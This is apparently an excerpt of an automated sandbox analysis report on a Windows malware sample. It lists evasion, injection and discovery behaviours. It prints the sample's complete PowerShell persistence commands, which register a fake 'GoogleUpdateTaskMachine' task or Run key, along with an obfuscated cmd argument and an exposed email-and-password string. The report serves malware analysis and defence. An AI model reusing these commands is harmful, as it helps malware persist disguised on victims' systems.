                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5572Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900Thread sleep count: 9464 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120Thread sleep time: -1844674407370954s >= -30000s
                              Source: C:\Windows\wsysrxvcs.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\wsysrxvcs.exeThread delayed: delay time: 900000Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeThread delayed: delay time: 241240Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9653Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6337
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9464
                              Source: C:\Users\user\Desktop\file.exeAPI coverage: 3.5 %
                              Source: C:\Windows\wsysrxvcs.exeAPI coverage: 0.9 %
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040B4300_2_0040B430
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040B4302_2_0040B430
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeDropped PE file which has not been started: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sysJump to dropped file
                              Source: C:\Users\user\Desktop\file.exeEvaded block: after key decisiongraph_0-4347
                              Source: C:\Windows\wsysrxvcs.exeEvaded block: after key decisiongraph_2-4291
                              Source: C:\Windows\wsysrxvcs.exeEvasive API call chain: RegOpenKey,DecisionNodes,Sleepgraph_1-4300
                              Source: C:\Users\user\Desktop\file.exeEvasive API call chain: RegOpenKey,DecisionNodes,Sleepgraph_0-4298
                              Source: C:\Windows\System32\cmd.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
                              Source: C:\Windows\wsysrxvcs.exeThread delayed: delay time: 900000Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeThread delayed: delay time: 241240Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-4292
                              Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-4302
                              Source: C:\Windows\wsysrxvcs.exeAPI call chain: ExitProcess graph end nodegraph_1-4326
                              Source: C:\Windows\wsysrxvcs.exeAPI call chain: ExitProcess graph end nodegraph_1-4293
                              Source: C:\Windows\wsysrxvcs.exeAPI call chain: ExitProcess graph end nodegraph_1-4304
                              Source: C:\Windows\wsysrxvcs.exeAPI call chain: ExitProcess graph end nodegraph_2-4321
                              Source: C:\Windows\wsysrxvcs.exeAPI call chain: ExitProcess graph end nodegraph_2-4302
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeAPI call chain: ExitProcess graph end node
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeAPI call chain: ExitProcess graph end node
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeAPI call chain: ExitProcess graph end node
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeAPI call chain: ExitProcess graph end node
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeAPI call chain: ExitProcess graph end node
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeAPI call chain: ExitProcess graph end node
                              Source: powershell.exe, 00000010.00000002.532612242.000001B5C9059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapter
                              Source: wsysrxvcs.exe, 00000001.00000002.633098894.000000000067A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWHAn%SystemRoot%\system32\mswsock.dll
                              Source: powershell.exe, 00000010.00000002.532612242.000001B5C9059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapter
                              Source: 75601095.exe, 00000008.00000002.633161656.000000000165A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW0
                              Source: 6235107758290.jpg.8.drBinary or memory string: ak9648315607@gmail.com:Phgfshjy
                              Source: wsysrxvcs.exe, 00000001.00000003.323781391.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.323504011.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.323271048.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.324270053.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325012428.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWd7
                              Source: wsysrxvcs.exe, 00000001.00000003.323781391.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.323504011.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.323271048.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.324270053.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325012428.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmp, 120477188.exe, 00000003.00000002.352453871.000000000095C000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.385822096.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.385128683.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.384481489.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.388668569.0000000000A0D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                              Source: powershell.exe, 00000010.00000002.532612242.000001B5C9059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapter
                              Source: 120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeProcess information queried: ProcessInformationJump to behavior
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040E9F0 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,0_2_0040E9F0
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00404F30 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,0_2_00404F30
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00404DF0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00404DF0
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_00404F30 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,1_2_00404F30
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_00404DF0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,1_2_00404DF0
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_00404F30 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,2_2_00404F30
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_00404DF0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,2_2_00404DF0
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00408820 GetProcessHeaps,0_2_00408820
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeCode function: 4_2_00007FF7D2531180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,malloc,memcpy,_initterm,GetStartupInfoW,exit,4_2_00007FF7D2531180
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeCode function: 4_2_00007FF7D253B189 SetUnhandledExceptionFilter,4_2_00007FF7D253B189
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeCode function: 4_2_00007FF7D272D2A4 SetUnhandledExceptionFilter,Sleep,4_2_00007FF7D272D2A4
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeCode function: 15_2_00007FF642CE1180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,malloc,memcpy,_initterm,GetStartupInfoW,exit,15_2_00007FF642CE1180
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeCode function: 15_2_00007FF642CEB189 SetUnhandledExceptionFilter,15_2_00007FF642CEB189
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeCode function: 15_2_00007FF642EDD2A4 SetUnhandledExceptionFilter,Sleep,15_2_00007FF642EDD2A4

                              HIPS / PFW / Operating System Protection Evasion

                              barindex
                              Maps a DLL or memory area into another process
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeSection loaded: C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmp target: C:\Windows\System32\cmd.exe protection: readonly
                              Writes to foreign memory regions
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeMemory written: C:\Windows\System32\cmd.exe base: A4C911F010
                              Modifies the context of a thread in another process (thread injection)
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeThread register set: target process: 9644
                              Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#fwjcobfk#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'googleupdatetaskmachine' /tr '''c:\users\user\windows security\update\winsvrupd.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\windows security\update\winsvrupd.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachine' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachine" /t reg_sz /f /d 'c:\users\user\windows security\update\winsvrupd.exe' }
                              Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#boaqiqu#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "googleupdatetaskmachine" } else { "c:\users\user\windows security\update\winsvrupd.exe" }
                              Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#fwjcobfk#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'googleupdatetaskmachine' /tr '''c:\users\user\windows security\update\winsvrupd.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\windows security\update\winsvrupd.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachine' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachine" /t reg_sz /f /d 'c:\users\user\windows security\update\winsvrupd.exe' }
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe dxfechzzfypoyjbf 6e3sjfzq2rjqaxvlpmxgseqpibiblmvqlqriqarownovul/xxmnmllvn0de0mnzasuntlydmwtsw2rj8icjseneyir9mk2crbanqskvd4ghuxk6zxctx/rv1juqihv2xvwmcioccltf908o7q2gnrwdkd5pevausgmt8e5i6oyrq4eyuohb2nuvdkc2x+jfqf7isjseojr7gbp5a9pekmulz1k+sy4g4epzwi6wbvxl8zm8mn+7gccibj+pvunsdyy3gpzeszqgcgx8v8f7jrhr2zjrjhffnkta9y/qycxz5gn7yfwxd9vtnqqy+8qfe
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#fwjcobfk#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'googleupdatetaskmachine' /tr '''c:\users\user\windows security\update\winsvrupd.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\windows security\update\winsvrupd.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachine' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachine" /t reg_sz /f /d 'c:\users\user\windows security\update\winsvrupd.exe' }Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#boaqiqu#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "googleupdatetaskmachine" } else { "c:\users\user\windows security\update\winsvrupd.exe" }Jump to behavior
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#fwjcobfk#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'googleupdatetaskmachine' /tr '''c:\users\user\windows security\update\winsvrupd.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\windows security\update\winsvrupd.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachine' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "googleupdatetaskmachine" /t reg_sz /f /d 'c:\users\user\windows security\update\winsvrupd.exe' }
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe dxfechzzfypoyjbf 6e3sjfzq2rjqaxvlpmxgseqpibiblmvqlqriqarownovul/xxmnmllvn0de0mnzasuntlydmwtsw2rj8icjseneyir9mk2crbanqskvd4ghuxk6zxctx/rv1juqihv2xvwmcioccltf908o7q2gnrwdkd5pevausgmt8e5i6oyrq4eyuohb2nuvdkc2x+jfqf7isjseojr7gbp5a9pekmulz1k+sy4g4epzwi6wbvxl8zm8mn+7gccibj+pvunsdyy3gpzeszqgcgx8v8f7jrhr2zjrjhffnkta9y/qycxz5gn7yfwxd9vtnqqy+8qfe
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic PATH Win32_VideoController GET Name, VideoProcessor
                              Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoA,0_2_0040CFE0
                              Source: C:\Windows\wsysrxvcs.exeCode function: GetLocaleInfoA,1_2_0040CFE0
                              Source: C:\Windows\wsysrxvcs.exeCode function: GetLocaleInfoA,2_2_0040CFE0
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
